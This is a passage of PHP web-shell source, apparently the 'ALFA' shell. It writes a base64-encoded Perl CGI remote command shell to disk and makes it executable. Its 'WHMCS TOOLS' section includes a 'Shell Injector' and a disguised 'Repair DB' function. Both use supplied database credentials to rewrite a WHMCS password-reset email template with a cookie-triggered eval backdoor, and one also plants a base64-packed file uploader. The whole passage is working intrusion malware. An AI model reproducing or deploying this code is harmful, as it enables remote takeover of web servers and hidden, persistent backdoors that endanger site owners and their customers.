VuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KJFByb21wdCB1cGxvYWQ8YnI+PGJyPg0KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4NCk9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgdmFsdWU9Im92ZXJ3cml0ZSI+DQpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4NClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPg0KPC9mb3JtPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcHJpbnQgPDxFTkQ7DQo8L3htcD4NCg0KPGNvZGU+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuDQo8YnI+S2lsbGVkIGl0IQ0KRU5EDQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRXhlY3V0ZUNvbW1hbmQNCnsNCglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kDQoJew0KCQkjIHdlIGNoYW5nZSB0aGUgZGlyZWN0b3J5IGludGVybmFsbHkuIFRoZSBvdXRwdXQgb2YgdGhlDQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLg0KCQkNCgkJJE9sZERpciA9ICRDdXJyZW50RGlyOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7DQoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkUHJvbXB0ID0gJFdpbk5UID8gIiRPbGREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkT2xkRGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kIjsNCgl9DQoJZWxzZSAjIHNvbWUgb3RoZXIgY29tbWFuZCwgZGlzcGxheSB0aGUgb3V0cHV0DQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOw0KCQlwcmludCAiJFByb21wdCAkUnVuQ29tbWFuZDx4bXA+IjsNCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiRSdW5Db21tYW5kLiRSZWRpcmVjdG9yOw0KCQlpZighJFdpbk5UKQ0KCQl7DQoJCQkkU0lHeydBTFJNJ30gPSBcJkNvbW1hbmRUaW1lb3V0Ow0KCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOw0KCQl9DQoJCWlmKCRTaG93RHluYW1pY091dHB1dCkgIyBzaG93IG91dHB1dCBhcyBpdCBpcyBnZW5lcmF0ZWQNCgkJew0KCQkJJHw9MTsNCgkJCSRDb21tYW5kIC49ICIgfCI7DQoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsNCgkJCXdoaWxlKDxDb21tYW5kT3V0cHV0PikNCgkJCXsNCgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsNCgkJCQlwcmludCAiJF9cbiI7DQoJCQl9DQoJCQkkfD0wOw0KCQl9DQoJCWVsc2UgIyBzaG93IG91dHB1dCBhZnRlciBjb21tYW5kIGNvbXBsZXRlcw0KCQl7DQoJCQlwcmludCBgJENvbW1hbmRgOw0KCQl9DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCWFsYXJtKDApOw0KCQl9DQoJCXByaW50ICI8L3htcD4iOw0KCX0NCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglsb2NhbCgkU2VuZEZpbGUpID0gQF87DQoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZw0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQliaW5tb2RlKFNFTkRGSUxFKTsNCgkJCWJpbm1vZGUoU1RET1VUKTsNCgkJfQ0KCQkkRmlsZVNpemUgPSAoc3RhdCgkU2VuZEZpbGUpKVs3XTsNCgkJKCRGaWxlbmFtZSA9ICRTZW5kRmlsZSkgPX4gIG0hKFteL15cXF0qKSQhOw0KCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7DQoJCXByaW50ICJDb250ZW50LUxlbmd0aDogJEZpbGVTaXplXG4iOw0KCQlwcmludCAiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JDFcblxuIjsNCgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7DQoJCWNsb3NlKFNFTkRGSUxFKTsNCgl9DQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImYiKTsNCgkJcHJpbnQgIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsNCgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsNCg0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmVnaW5Eb3dubG9hZA0Kew0KCSMgZ2V0IGZ1bGx5IHF1YWxpZmllZCBwYXRoIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwNCgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlDQoJew0KCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7DQoJfQ0KCWVsc2UgIyBwYXRoIGlzIHJlbGF0aXZlDQoJew0KCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCQkkVGFyZ2V0RmlsZSAuPSAkUGF0aFNlcC4kVHJhbnNmZXJGaWxlOw0KCX0NCg0KCWlmKCRPcHRpb25zIGVxICJnbyIpICMgd2UgaGF2ZSB0byBzZW5kIHRoZSBmaWxlDQoJew0KCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJJlByaW50RG93bmxvYWRMaW5rUGFnZSgkVGFyZ2V0RmlsZSk7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgVXBsb2FkRmlsZQ0Kew0KCSMgaWYgbm8gZmlsZSBpcyBzcGVjaWZpZWQsIHByaW50IHRoZSB1cGxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVVcGxvYWRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlyZXR1cm47DQoJfQ0KCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCg0KCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzDQoJcHJpbnQgIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7DQoNCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkDQoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJJFRyYW5zZmVyRmlsZSA9fiBtIShbXi9eXFxdKikkITsNCgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsNCg0KCSRUYXJnZXRGaWxlU2l6ZSA9IGxlbmd0aCgkaW57J2ZpbGVkYXRhJ30pOw0KCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdA0KCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQ0KCXsNCgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7DQoJCQlwcmludCAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnQgIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCglwcmludCAiIjsNCgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCg0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBEb3dubG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgZG93bmxvYWQgZm9ybSBhZ2Fpbg0KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCXJldHVybjsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiZSZWFkUGFyc2U7DQomR2V0Q29va2llczsNCg0KJFNjcmlwdExvY2F0aW9uID0gJEVOVnsnU0NSSVBUX05BTUUnfTsNCiRTZXJ2ZXJOYW1lID0gJEVOVnsnU0VSVkVSX05BTUUnfTsNCiRMb2dpblBhc3N3b3JkID0gJGlueydwJ307DQokUnVuQ29tbWFuZCA9ICRpbnsnYyd9Ow0KJFRyYW5zZmVyRmlsZSA9ICRpbnsnZid9Ow0KJE9wdGlvbnMgPSAkaW57J28nfTsNCg0KJEFjdGlvbiA9ICRpbnsnYSd9Ow0KJEFjdGlvbiA9ICJsb2dpbiIgaWYoJEFjdGlvbiBlcSAiIik7ICMgbm8gYWN0aW9uIHNwZWNpZmllZCwgdXNlIGRlZmF1bHQNCg0KIyBnZXQgdGhlIGRpcmVjdG9yeSBpbiB3aGljaCB0aGUgY29tbWFuZHMgd2lsbCBiZSBleGVjdXRlZA0KJEN1cnJlbnREaXIgPSAkaW57J2QnfTsNCmNob3AoJEN1cnJlbnREaXIgPSBgJENtZFB3ZGApIGlmKCRDdXJyZW50RGlyIGVxICIiKTsNCg0KJExvZ2dlZEluID0gJENvb2tpZXN7J1NBVkVEUFdEJ30gZXEgJFBhc3N3b3JkOw0KDQppZigkQWN0aW9uIGVxICJsb2dpbiIgfHwgISRMb2dnZWRJbikgIyB1c2VyIG5lZWRzL2hhcyB0byBsb2dpbg0Kew0KCSZQZXJmb3JtTG9naW47DQoNCn0NCmVsc2lmKCRBY3Rpb24gZXEgImNvbW1hbmQiKSAjIHVzZXIgd2FudHMgdG8gcnVuIGEgY29tbWFuZA0Kew0KCSZFeGVjdXRlQ29tbWFuZDsNCn0NCmVsc2lmKCRBY3Rpb24gZXEgInVwbG9hZCIpICMgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlDQp7DQoJJlVwbG9hZEZpbGU7DQp9DQplbHNpZigkQWN0aW9uIGVxICJkb3dubG9hZCIpICMgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUNCnsNCgkmRG93bmxvYWRGaWxlOw0KfQ0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
2918$solevisible1 = fopen('cgi.alfa','w+');
2919$solevisible2 = fwrite ($solevisible1 ,base64_decode($solevisible3));
2920fclose($solevisible1);
2921chmod('cgi.alfa',0755);
2922echo '<iframe src=cgialfa/cgi.alfa width=100% height=600px frameborder=0></iframe> ';
2923echo "</div>";
2924alfafooter();
2925}
2926function alfaWhmcs(){
2927alfahead();
2928echo '<div class=header><script>alfa1_=alfa2_="";</script><center><h3><span>| WHMCS TOOLS |</span></h3><center><h3><a href=# onclick="g(\'Whmcs\',null,\'shellinject\',null)">| Shell Injector | </a><a href=# onclick="g(\'Whmcs\',null,null,null,\'repair\')">| Repair DB | </a><a href=# onclick="g(\'Whmcs\',null,null,\'decoder\')">| Whmcs Decoder |</a></h3></center>';
2929if(isset($_POST['alfa3']) && ($_POST['alfa3'] == 'repair'))
2930{
2931echo "<script>alfa3_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
2932<tr><td>
2933<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">Repair</font> <font color=\"#FF0000\">Table</font><font color=\"#FFFF01\"> ==</font></b></font></center> <br>
2934<center><form onSubmit=\"g('Whmcs',null,null,null,'repair',null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value); return false;\" method=POST>
2935<table border=1>
2936<tr><td><font face='Arial' color='#FFFFFF'><b>Mysql Host</b></font></td><td><input type=text name=dbh value=localhost size='50' ></td></tr>
2937<tr><td><font face='Arial' color='#FFFFFF'><b>Db User</b><br></font></td><td><input type=text name=dbu size='50' ></td></tr>
2938<tr><td><font face='Arial' color='#FFFFFF'><b>Db Name</b><br></font></td><td><input type=text name=dbn size='50' ></td></tr>
2939<tr><td><font face='Arial' color='#FFFFFF'><b>Db Pass</b><br></font></td><td><input type=text name=dbp size='50' ></td></tr>
2940</table>
2941<input type=submit value='>>'></form></center></td></tr></table></center>";
2942if(isset($_POST['alfa6'])) {
2943$dbu = $_POST['alfa6'];
2944$dbn = $_POST['alfa7'];
2945$dbp = $_POST['alfa8'];
2946$dbh = $_POST['alfa9'];
2947$newindex = "<p>Dear {\$client_name},</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
2948if (!empty($dbh) && !empty($dbu) && !empty($dbn))
2949{
2950mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
2951mysql_select_db($dbn) or die(mysql_error());
2952$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE id='37'";
2953$result = mysql_query($inject) or die (mysql_error());
2954echo "<script>alert('Table Repaired :D');</script>";
2955}
2956}
2957}
2958if(isset($_POST['alfa1']) && ($_POST['alfa1'] == 'shellinject'))
2959{
2960echo "<script>alfa2_=alfa3_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=\"\";</script><center><table border=0 width='100%'>
2961<tr><td>
2962<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">Shell</font> <font color=\"#FF0000\">Injector</font><font color=\"#FFFF01\"> ==</font></b></center><br>
2963<center><form onSubmit=\"g('Whmcs',null,'shellinject',null,null,null,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,null); return false;\" method=POST>
2964<table border=1>
2965<tr><td><font face='Arial' color='#FFFFFF'><b>Mysql Host</b></font></td><td><input type=text name=dbh value=localhost size='50' ></td/></tr>
2966<tr><td><font face='Arial' color='#FFFFFF'><b>Db User</b><br></font></td><td><input type=text name=dbu size='50' ></td/></tr>
2967<tr><td><font face='Arial' color='#FFFFFF'><b>Db Name</b><br></font></td><td><input type=text name=dbn size='50' ></td/></tr>
2968<tr><td><font face='Arial' color='#FFFFFF'><b>Db Pass</b><br></font></td><td><input type=text name=dbp size='50' ></td/></tr>
2969</table>
2970<input type=submit value='>>'></form></center></td></tr></table></center>";
2971if(isset($_POST['alfa6'])) {
2972$dbu = $_POST['alfa6'];
2973$dbn = $_POST['alfa7'];
2974$dbp = $_POST['alfa8'];
2975$dbh = $_POST['alfa9'];
2976$index = "{php}eval(base64_decode('JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBTkNtVmphRzhnSWp4MGFYUnNaVDVUYjJ4bGRtbHphV0pzWlNCVmNHeHZZV1JsY2p3dmRHbDBiR1UrWEc0aU93MEtaV05vYnlBaVBDOW9aV0ZrUGx4dUlqc05DbVZqYUc4Z0lqeGliMlI1SUdKblkyOXNiM0k5SXpBd01EQXdNRDVjYmlJN0RRcGxZMmh2SUNJOFluSStYRzRpT3cwS1pXTm9ieUFpUEdObGJuUmxjajQ4Wm05dWRDQmpiMnh2Y2oxY0luZG9hWFJsWENJK1BHSStXVzkxY2lCSmNDQkJaR1J5WlhOeklHbHpQQzlpUGlBOFptOXVkQ0JqYjJ4dmNqMWNJbmRvYVhSbFhDSStQQzltYjI1MFBqd3ZZMlZ1ZEdWeVBpQmNiaUk3RFFwbFkyaHZJQ0k4WW1sblBqeGlhV2MrUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR05sYm5SbGNqNWNiaUk3RFFwbFkyaHZJQ1JmVTBWU1ZrVlNXeWRTUlUxUFZFVmZRVVJFVWlkZE93MEtaV05vYnlBaVBDOWpaVzUwWlhJK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo1Y2JpSTdEUXBsWTJodklDSThZbkkrWEc0aU93MEtaV05vYnlBaVBHSnlQbHh1SWpzTkNtVmphRzhnSWp4alpXNTBaWEkrUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR0pwWno0OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MFpYSStQR0p5UGx4dUlqc05DbVZqYUc4Z0p6eGpaVzUwWlhJK1BHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGlkWEJzYjJGa1pYSWlJQTBLYVdROUluVndiRzloWkdWeUlqNG5PdzBLSUdWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnRFFwcFpEMGlYM1Z3YkNJZ2RtRnNkV1U5SWxWd2JHOWhaQ0krUEM5bWIzSnRQand2WTJWdWRHVnlQaWM3RFFvZ2FXWW9JQ1JmVUU5VFZGc25YM1Z3YkNkZElEMDlJQ0pWY0d4dllXUWlJQ2tnZXcwS0lHbG1LRUJqYjNCNUtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmRHMXdYMjVoYldVblhTd2dKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdJR1ZqYUc4Z0RRb25QR0krUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR05sYm5SbGNqNVZjR3h2WVdRZ1UzVmpZMlZ6YzJaMWJHeDVJRHNwUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJJK1BHSnlQanhpY2o0bk95QjlEUW9nSUNBZ0lHVnNjMlVnZXlCbFkyaHZJQ2M4WWo0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQm1ZV2xzWldRZ09pZzhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRzl5UFZ3aUl6ZERSa013TUZ3aVBqd3ZZajROQ2p4aWNqNDhZbkkrSnpzZ2ZRMEtJSDBOQ2o4K0RRbzhZMlZ1ZEdWeVBqeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2TXpCd2VEc2lQanh6Y0dGdUlITjBlV3hsUFNKaVlXTnJaM0p2ZFc1a09pQjFjbXdvSm5GMWIzUTdhSFIwY0RvdkwzVndMbWx5WVc0dGRHRnNheTVwY2k5MWNHeHZZV1J6THpFek16RTFOekV4TkRrekxtZHBaaVp4ZFc5ME95a2djbVZ3WldGMExYZ2djMk55YjJ4c0lEQWxJREFsSUhSeVlXNXpjR0Z5Wlc1ME95QmpiMnh2Y2pvZ2NtVmtPeUIwWlhoMExYTm9ZV1J2ZHpvZ09IQjRJRGh3ZUNBeE0zQjRPeUkrUEhOMGNtOXVaejQ4WWo0OFltbG5Qbk52YkdWMmFYTnBZbXhsUUdkdFlXbHNMbU52YlR3dllqNDhMMkpwWno0OEwzTjBjbTl1Wno0TkNnPT0iKTsNCiRzb2xldmlzaWJsZSA9IGZvcGVuKCJzb2xldmlzaWJs